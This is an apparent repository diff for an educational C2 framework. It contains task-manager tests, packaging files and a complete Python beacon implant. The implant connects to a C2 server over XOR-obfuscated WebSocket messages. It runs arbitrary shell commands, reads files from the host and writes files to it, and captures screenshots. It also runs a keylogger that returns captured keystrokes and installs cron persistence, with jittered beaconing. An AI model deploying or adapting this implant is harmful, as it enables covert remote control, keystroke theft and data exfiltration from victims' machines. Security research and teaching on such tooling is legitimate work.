INSERT INTO beacons (id, hostname, os, username, pid, internal_ip, arch, first_seen, last_seen)
VALUES ('beacon-t', 'test', 'Linux', 'root', 1, '10.0.0.1', 'x86_64', '2026-01-01', '2026-01-01')
"""
)
await conn.commit()
yield conn
await conn.close()
@pytest.fixture
def task_manager() -> TaskManager:
"""
Provide a fresh TaskManager instance
"""
return TaskManager()
def _make_task(task_id: str, beacon_id: str = "beacon-t") -> TaskRecord:
"""
Create a sample TaskRecord
"""
return TaskRecord(
id=task_id,
beacon_id=beacon_id,
command=CommandType.SHELL,
args="whoami",
)
class TestTaskManager:
"""
Verify task submission, retrieval, and result storage
"""
async def test_submit_and_get_next(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
Submitted task can be retrieved from the queue
"""
task = _make_task("task-001")
await task_manager.submit(task, db)
retrieved = await asyncio.wait_for(
task_manager.get_next("beacon-t"), timeout=1.0
)
assert retrieved.id == "task-001"
assert retrieved.command == CommandType.SHELL
async def test_submit_persists_to_db(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
Submitted task is persisted in SQLite
"""
task = _make_task("task-002")
await task_manager.submit(task, db)
cursor = await db.execute(
"SELECT * FROM tasks WHERE id = ?", ("task-002",)
)
row = await cursor.fetchone()
assert row is not None
assert dict(row)["command"] == "shell"
async def test_tasks_queue_in_order(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
Tasks are dequeued in FIFO order
"""
await task_manager.submit(_make_task("first"), db)
await task_manager.submit(_make_task("second"), db)
await task_manager.submit(_make_task("third"), db)
t1 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
t2 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
t3 = await asyncio.wait_for(task_manager.get_next("beacon-t"), timeout=1.0)
assert [t1.id, t2.id, t3.id] == ["first", "second", "third"]
async def test_store_result(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
Storing a result updates the task status to completed
"""
task = _make_task("task-003")
await task_manager.submit(task, db)
result = TaskResult(
id="result-001",
task_id="task-003",
output="root\n",
)
await task_manager.store_result(result, db)
cursor = await db.execute(
"SELECT status FROM tasks WHERE id = ?", ("task-003",)
)
row = await cursor.fetchone()
assert dict(row)["status"] == "completed"
async def test_get_history(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
Task history includes task details joined with results
"""
task = _make_task("task-004")
await task_manager.submit(task, db)
result = TaskResult(
id="result-002",
task_id="task-004",
output="test output",
)
await task_manager.store_result(result, db)
history = await task_manager.get_history("beacon-t", db)
assert len(history) >= 1
entry = history[0]
assert entry["command"] == "shell"
assert entry["output"] == "test output"
async def test_get_next_blocks_until_task(
self,
task_manager: TaskManager,
db: aiosqlite.Connection,
) -> None:
"""
get_next blocks when the queue is empty and resolves when a task arrives
"""
async def delayed_submit() -> None:
await asyncio.sleep(0.1)
await task_manager.submit(_make_task("delayed"), db)
asyncio.create_task(delayed_submit())
retrieved = await asyncio.wait_for(
task_manager.get_next("beacon-t"), timeout=2.0
)
assert retrieved.id == "delayed"
def test_remove_queue(self, task_manager: TaskManager) -> None:
"""
remove_queue cleans up the beacon queue
"""
task_manager._ensure_queue("beacon-x")
assert "beacon-x" in task_manager._queues
task_manager.remove_queue("beacon-x")
assert "beacon-x" not in task_manager._queues

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,514 @@
"""
AngelaMos | 2026
beacon.py
"""
import asyncio
import base64
import io
import json
import logging
import os
import platform
import random
import socket
import subprocess
import threading
import uuid
from dataclasses import dataclass, field
from typing import Any
import psutil
import websockets
from websockets.asyncio.client import connect
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s %(levelname)s: %(message)s",
)
logger = logging.getLogger("beacon")
@dataclass
class BeaconConfig:
"""
Runtime configuration for the beacon implant
"""
server_url: str = os.environ.get("C2_SERVER_URL",
"ws://localhost:8000/ws/beacon")
xor_key: str = os.environ.get("C2_XOR_KEY",
"c2-beacon-default-key-change-me")
sleep_interval: float = float(os.environ.get("C2_SLEEP", "3.0"))
jitter_percent: float = float(os.environ.get("C2_JITTER", "0.3"))
reconnect_base: float = 2.0
reconnect_max: float = 300.0
beacon_id: str = field(default_factory=lambda: str(uuid.uuid4()))
config = BeaconConfig()
_keylog_buffer: list[str] = []
_keylog_listener: Any = None
_keylog_lock = threading.Lock()
def xor_bytes(data: bytes, key: bytes) -> bytes:
"""
XOR each byte of data with a repeating key
"""
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def encode(payload: str, key: str) -> str:
"""
Encode a plaintext payload: UTF-8 -> XOR -> Base64
"""
raw = payload.encode("utf-8")
xored = xor_bytes(raw, key.encode("utf-8"))
return base64.b64encode(xored).decode("ascii")
def decode(encoded: str, key: str) -> str:
"""
Decode an encoded payload: Base64 -> XOR -> UTF-8
"""
xored = base64.b64decode(encoded)
raw = xor_bytes(xored, key.encode("utf-8"))
return raw.decode("utf-8")
def pack(msg_type: str, payload: dict[str, Any]) -> str:
"""
Serialize and encode a protocol message
"""
raw = json.dumps({"type": msg_type, "payload": payload})
return encode(raw, config.xor_key)
def unpack(raw: str) -> dict[str, Any]:
"""
Decode and deserialize a protocol message
"""
decoded = decode(raw, config.xor_key)
return json.loads(decoded)
def jittered_sleep() -> float:
"""
Calculate sleep duration with random jitter applied
"""
jitter = config.sleep_interval * config.jitter_percent
return config.sleep_interval + random.uniform(-jitter, jitter)
def collect_system_info() -> dict[str, Any]:
"""
Gather host metadata for beacon registration
"""
return {
"id": config.beacon_id,
"hostname": socket.gethostname(),
"os": f"{platform.system()} {platform.release()}",
"username": os.getenv("USER", os.getenv("USERNAME", "unknown")),
"pid": os.getpid(),
"internal_ip": _get_internal_ip(),
"arch": platform.machine(),
}
def _get_internal_ip() -> str:
"""
Determine the primary internal IP address via UDP socket trick
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect(("10.255.255.255", 1))
ip = sock.getsockname()[0]
sock.close()
return ip
except OSError:
return "127.0.0.1"
async def handle_shell(args: str | None) -> dict[str, Any]:
"""
Execute a shell command and capture stdout/stderr
"""
if not args:
return {"output": None, "error": "No command provided"}
proc = await asyncio.create_subprocess_shell(
args,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
return {
"output": stdout.decode("utf-8", errors="replace"),
"error": stderr.decode("utf-8", errors="replace") or None,
}
async def handle_sysinfo(_args: str | None) -> dict[str, Any]:
"""
Collect detailed system information via psutil
"""
mem = psutil.virtual_memory()
disk_info = []
for part in psutil.disk_partitions():
try:
usage = psutil.disk_usage(part.mountpoint)
disk_info.append({
"device": part.device,
"mountpoint": part.mountpoint,
"total_gb": round(usage.total / (1024**3), 2),
"used_percent": usage.percent,
})
except PermissionError:
continue
net_info = {}
for iface, addrs in psutil.net_if_addrs().items():
for addr in addrs:
if addr.family == socket.AF_INET:
net_info[iface] = addr.address
return {
"output":
json.dumps(
{
"os": f"{platform.system()} {platform.release()}",
"hostname": socket.gethostname(),
"username": os.getenv("USER", os.getenv("USERNAME",
"unknown")),
"arch": platform.machine(),
"cpu_count": psutil.cpu_count(),
"cpu_percent": psutil.cpu_percent(interval=0.5),
"memory_total_gb": round(mem.total / (1024**3), 2),
"memory_available_gb": round(mem.available / (1024**3), 2),
"memory_percent": mem.percent,
"disks": disk_info,
"network": net_info,
},
indent=2),
"error":
None,
}
async def handle_proclist(_args: str | None) -> dict[str, Any]:
"""
Enumerate running processes with resource usage
"""
processes = []
for proc in psutil.process_iter(["pid", "name", "username"]):
try:
info = proc.info
processes.append({
"pid": info["pid"],
"name": info["name"],
"username": info["username"] or "unknown",
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
return {
"output": json.dumps(processes[:100], indent=2),
"error": None,
}
async def handle_upload(args: str | None) -> dict[str, Any]:
"""
Receive a file from the server and write it to disk
"""
if not args:
return {"output": None, "error": "No upload data provided"}
try:
data = json.loads(args)
filename = data["filename"]
content = base64.b64decode(data["content"])
dest = f"/tmp/{filename}"
import aiofiles
async with aiofiles.open(dest, "wb") as f:
await f.write(content)
return {
"output": f"Written {len(content)} bytes to {dest}",
"error": None
}
except (json.JSONDecodeError, KeyError) as exc:
return {"output": None, "error": str(exc)}
async def handle_download(args: str | None) -> dict[str, Any]:
"""
Read a file from disk and return its contents as base64
"""
if not args:
return {"output": None, "error": "No file path provided"}
try:
import aiofiles
async with aiofiles.open(args, "rb") as f:
content = await f.read()
return {
"output":
json.dumps({
"filename": os.path.basename(args),
"content": base64.b64encode(content).decode("ascii"),
"size": len(content),
}),
"error":
None,
}
except FileNotFoundError:
return {"output": None, "error": f"File not found: {args}"}
except PermissionError:
return {"output": None, "error": f"Permission denied: {args}"}
async def handle_screenshot(_args: str | None) -> dict[str, Any]:
"""
Capture the screen and return it as a base64-encoded PNG
"""
try:
import mss
with mss.mss() as sct:
monitor = sct.monitors[0]
screenshot = sct.grab(monitor)
png_bytes = mss.tools.to_png(screenshot.rgb, screenshot.size)
return {
"output":
json.dumps({
"format": "png",
"content": base64.b64encode(png_bytes).decode("ascii"),
"width": screenshot.width,
"height": screenshot.height,
}),
"error":
None,
}
except Exception as exc:
return {"output": None, "error": f"Screenshot failed: {exc}"}
async def handle_keylog_start(_args: str | None) -> dict[str, Any]:
"""
Start a background keylogger thread using pynput
"""
global _keylog_listener
if _keylog_listener is not None:
return {"output": "Keylogger already running", "error": None}
try:
from pynput import keyboard
def on_press(key: Any) -> None:
with _keylog_lock:
try:
_keylog_buffer.append(key.char or "")
except AttributeError:
_keylog_buffer.append(f"[{key.name}]")
_keylog_listener = keyboard.Listener(on_press=on_press)
_keylog_listener.start()
return {"output": "Keylogger started", "error": None}
except Exception as exc:
return {"output": None, "error": f"Keylogger failed: {exc}"}
async def handle_keylog_stop(_args: str | None) -> dict[str, Any]:
"""
Stop the keylogger and return captured keystrokes
"""
global _keylog_listener
if _keylog_listener is None:
return {"output": "Keylogger not running", "error": None}
_keylog_listener.stop()
_keylog_listener = None
with _keylog_lock:
captured = "".join(_keylog_buffer)
_keylog_buffer.clear()
return {"output": captured, "error": None}
async def handle_persist(args: str | None) -> dict[str, Any]:
"""
Install persistence via cron job on Linux systems
"""
if platform.system() != "Linux":
return {
"output": None,
"error": f"Persist not supported on {platform.system()}",
}
beacon_path = os.path.abspath(__file__)
cron_entry = f"@reboot /usr/bin/python3 {beacon_path} &"
try:
result = subprocess.run(
["crontab", "-l"],
capture_output=True,
text=True,
check=False,
)
existing = result.stdout if result.returncode == 0 else ""
if cron_entry in existing:
return {"output": "Persistence already installed", "error": None}
new_crontab = existing.rstrip() + "\n" + cron_entry + "\n"
subprocess.run(
["crontab", "-"],
input=new_crontab,
text=True,
check=True,
)
return {"output": "Cron persistence installed", "error": None}
except Exception as exc:
return {"output": None, "error": f"Persist failed: {exc}"}
async def handle_sleep(args: str | None) -> dict[str, Any]:
"""
Update the beacon sleep interval and jitter percentage
"""
if not args:
return {
"output":
json.dumps({
"interval": config.sleep_interval,
"jitter": config.jitter_percent,
}),
"error":
None,
}
try:
data = json.loads(args)
if "interval" in data:
config.sleep_interval = float(data["interval"])
if "jitter" in data:
config.jitter_percent = float(data["jitter"])
return {
"output":
json.dumps({
"interval": config.sleep_interval,
"jitter": config.jitter_percent,
}),
"error":
None,
}
except (json.JSONDecodeError, ValueError) as exc:
return {"output": None, "error": str(exc)}
COMMAND_HANDLERS = {
"shell": handle_shell,
"sysinfo": handle_sysinfo,
"proclist": handle_proclist,
"upload": handle_upload,
"download": handle_download,
"screenshot": handle_screenshot,
"keylog_start": handle_keylog_start,
"keylog_stop": handle_keylog_stop,
"persist": handle_persist,
"sleep": handle_sleep,
}
async def dispatch(command: str, args: str | None) -> dict[str, Any]:
"""
Route a command to its handler function
"""
handler = COMMAND_HANDLERS.get(command)
if handler is None:
return {"output": None, "error": f"Unknown command: {command}"}
return await handler(args)
async def heartbeat_loop(ws: Any) -> None:
"""
Send periodic heartbeat messages to maintain the connection
"""
while True:
try:
msg = pack("HEARTBEAT", {"id": config.beacon_id})
await ws.send(msg)
await asyncio.sleep(jittered_sleep())
except Exception:
break
async def main() -> None:
"""
Main beacon loop: connect, register, process tasks, reconnect on failure
"""
backoff = config.reconnect_base
while True:
try:
logger.info("Connecting to %s", config.server_url)
async with connect(config.server_url) as ws:
sysinfo = collect_system_info()
await ws.send(pack("REGISTER", sysinfo))
logger.info("Registered as %s", config.beacon_id)
backoff = config.reconnect_base
heartbeat_task = asyncio.create_task(heartbeat_loop(ws))
try:
while True:
raw = await ws.recv()
message = unpack(raw)
if message.get("type") == "TASK":
payload = message["payload"]
task_id = payload["id"]
command = payload["command"]
args = payload.get("args")
logger.info("Executing: %s %s", command, args
or "")
result = await dispatch(command, args)
response = pack(
"RESULT", {
"task_id": task_id,
"output": result.get("output"),
"error": result.get("error"),
})
await ws.send(response)
await asyncio.sleep(jittered_sleep())
finally:
heartbeat_task.cancel()
except (
ConnectionRefusedError,
websockets.exceptions.ConnectionClosed,
OSError,
) as exc:
logger.warning("Connection lost: %s", exc)
logger.info("Reconnecting in %.1fs", backoff)
await asyncio.sleep(backoff)
backoff = min(backoff * 2, config.reconnect_max)
if __name__ == "__main__":
asyncio.run(main())

View File

@ -0,0 +1,24 @@
[project]
name = "c2-beacon-implant"
version = "1.0.0"
description = "C2 beacon implant for security research and education"
requires-python = ">=3.12"
authors = [
{name = "CarterPerez-dev", email = "support@certgames.com"}
]
license = {text = "AGPL-3.0"}
dependencies = [
"websockets>=15.0",
"aiofiles>=24.1.0",
"mss>=10.0.0",
"pynput>=1.8.1",
"psutil>=7.0.0",
]
[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["beacon.py"]

View File

@ -0,0 +1,241 @@
version = 1
revision = 3
requires-python = ">=3.12"
[[package]]
name = "aiofiles"
version = "25.1.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/41/c3/534eac40372d8ee36ef40df62ec129bee4fdb5ad9706e58a29be53b2c970/aiofiles-25.1.0.tar.gz", hash = "sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2", size = 46354, upload-time = "2025-10-09T20:51:04.358Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/bc/8a/340a1555ae33d7354dbca4faa54948d76d89a27ceef032c8c3bc661d003e/aiofiles-25.1.0-py3-none-any.whl", hash = "sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695", size = 14668, upload-time = "2025-10-09T20:51:03.174Z" },
]
[[package]]
name = "c2-beacon-implant"
version = "1.0.0"
source = { editable = "." }
dependencies = [
{ name = "aiofiles" },
{ name = "mss" },
{ name = "psutil" },
{ name = "pynput" },
{ name = "websockets" },
]
[package.metadata]
requires-dist = [
{ name = "aiofiles", specifier = ">=24.1.0" },
{ name = "mss", specifier = ">=10.0.0" },
{ name = "psutil", specifier = ">=7.0.0" },
{ name = "pynput", specifier = ">=1.8.1" },
{ name = "websockets", specifier = ">=15.0" },
]
[[package]]
name = "evdev"
version = "1.9.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a5/f5/397b61091120a9ca5001041dd7bf76c385b3bfd67a0e5bcb74b852bd22a4/evdev-1.9.3.tar.gz", hash = "sha256:2c140e01ac8437758fa23fe5c871397412461f42d421aa20241dc8fe8cfccbc9", size = 32723, upload-time = "2026-02-05T21:54:24.987Z" }
[[package]]
name = "mss"
version = "10.1.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/40/ca/49b67437a8c46d9732c9c274d7b1fc0c181cfe290d699a0c5e94701dfe79/mss-10.1.0.tar.gz", hash = "sha256:7182baf7ee16ca569e2804028b6ab9bcbf6be5c46fc2880840f33b513b9cb4f8", size = 84200, upload-time = "2025-08-16T12:11:00.119Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/23/28/1e3e5cd1d677cca68b26166f704f72e35b1e8b6d5076d8ebeebc4e40a649/mss-10.1.0-py3-none-any.whl", hash = "sha256:9179c110cadfef5dc6dc4a041a0cd161c74c379218648e6640b48c6b5cfe8918", size = 24525, upload-time = "2025-08-16T12:10:59.111Z" },
]
[[package]]
name = "psutil"
version = "7.2.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" },
{ url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" },
{ url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" },
{ url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" },
{ url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" },
{ url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" },
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
]
[[package]]
name = "pynput"
version = "1.8.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "evdev", marker = "'linux' in sys_platform" },
{ name = "pyobjc-framework-applicationservices", marker = "sys_platform == 'darwin'" },
{ name = "pyobjc-framework-quartz", marker = "sys_platform == 'darwin'" },
{ name = "python-xlib", marker = "'linux' in sys_platform" },
{ name = "six" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f0/c3/dccf44c68225046df5324db0cc7d563a560635355b3e5f1d249468268a6f/pynput-1.8.1.tar.gz", hash = "sha256:70d7c8373ee98911004a7c938742242840a5628c004573d84ba849d4601df81e", size = 82289, upload-time = "2025-03-17T17:12:01.481Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/59/4f/ac3fa906ae8a375a536b12794128c5efacade9eaa917a35dfd27ce0c7400/pynput-1.8.1-py2.py3-none-any.whl", hash = "sha256:42dfcf27404459ca16ca889c8fb8ffe42a9fe54f722fd1a3e130728e59e768d2", size = 91693, upload-time = "2025-03-17T17:12:00.094Z" },
]
[[package]]
name = "pyobjc-core"
version = "12.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b8/b6/d5612eb40be4fd5ef88c259339e6313f46ba67577a95d86c3470b951fce0/pyobjc_core-12.1.tar.gz", hash = "sha256:2bb3903f5387f72422145e1466b3ac3f7f0ef2e9960afa9bcd8961c5cbf8bd21", size = 1000532, upload-time = "2025-11-14T10:08:28.292Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/64/5a/6b15e499de73050f4a2c88fff664ae154307d25dc04da8fb38998a428358/pyobjc_core-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:818bcc6723561f207e5b5453efe9703f34bc8781d11ce9b8be286bb415eb4962", size = 678335, upload-time = "2025-11-14T09:32:20.107Z" },
{ url = "https://files.pythonhosted.org/packages/f4/d2/29e5e536adc07bc3d33dd09f3f7cf844bf7b4981820dc2a91dd810f3c782/pyobjc_core-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:01c0cf500596f03e21c23aef9b5f326b9fb1f8f118cf0d8b66749b6cf4cbb37a", size = 677370, upload-time = "2025-11-14T09:33:05.273Z" },
{ url = "https://files.pythonhosted.org/packages/1b/f0/4b4ed8924cd04e425f2a07269943018d43949afad1c348c3ed4d9d032787/pyobjc_core-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:177aaca84bb369a483e4961186704f64b2697708046745f8167e818d968c88fc", size = 719586, upload-time = "2025-11-14T09:33:53.302Z" },
{ url = "https://files.pythonhosted.org/packages/25/98/9f4ed07162de69603144ff480be35cd021808faa7f730d082b92f7ebf2b5/pyobjc_core-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:844515f5d86395b979d02152576e7dee9cc679acc0b32dc626ef5bda315eaa43", size = 670164, upload-time = "2025-11-14T09:34:37.458Z" },
{ url = "https://files.pythonhosted.org/packages/62/50/dc076965c96c7f0de25c0a32b7f8aa98133ed244deaeeacfc758783f1f30/pyobjc_core-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:453b191df1a4b80e756445b935491b974714456ae2cbae816840bd96f86db882", size = 712204, upload-time = "2025-11-14T09:35:24.148Z" },
]
[[package]]
name = "pyobjc-framework-applicationservices"
version = "12.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pyobjc-core" },
{ name = "pyobjc-framework-cocoa" },
{ name = "pyobjc-framework-coretext" },
{ name = "pyobjc-framework-quartz" },
]
sdist = { url = "https://files.pythonhosted.org/packages/be/6a/d4e613c8e926a5744fc47a9e9fea08384a510dc4f27d844f7ad7a2d793bd/pyobjc_framework_applicationservices-12.1.tar.gz", hash = "sha256:c06abb74f119bc27aeb41bf1aef8102c0ae1288aec1ac8665ea186a067a8945b", size = 103247, upload-time = "2025-11-14T10:08:52.18Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/37/a7/55fa88def5c02732c4b747606ff1cbce6e1f890734bbd00f5596b21eaa02/pyobjc_framework_applicationservices-12.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:c8f6e2fb3b3e9214ab4864ef04eee18f592b46a986c86ea0113448b310520532", size = 32835, upload-time = "2025-11-14T09:36:11.855Z" },
{ url = "https://files.pythonhosted.org/packages/fc/21/79e42ee836f1010f5fe9e97d2817a006736bd287c15a3674c399190a2e77/pyobjc_framework_applicationservices-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bd1f4dbb38234a24ae6819f5e22485cf7dd3dd4074ff3bf9a9fdb4c01a3b4a38", size = 32859, upload-time = "2025-11-14T09:36:15.208Z" },
{ url = "https://files.pythonhosted.org/packages/66/3a/0f1d4dcf2345e875e5ea9761d5a70969e241d24089133d21f008dde596f5/pyobjc_framework_applicationservices-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:8a5d2845249b6a85ba9e320a9848468c3f8cd6f59605a9a43f406a7810eaa830", size = 33115, upload-time = "2025-11-14T09:36:18.384Z" },
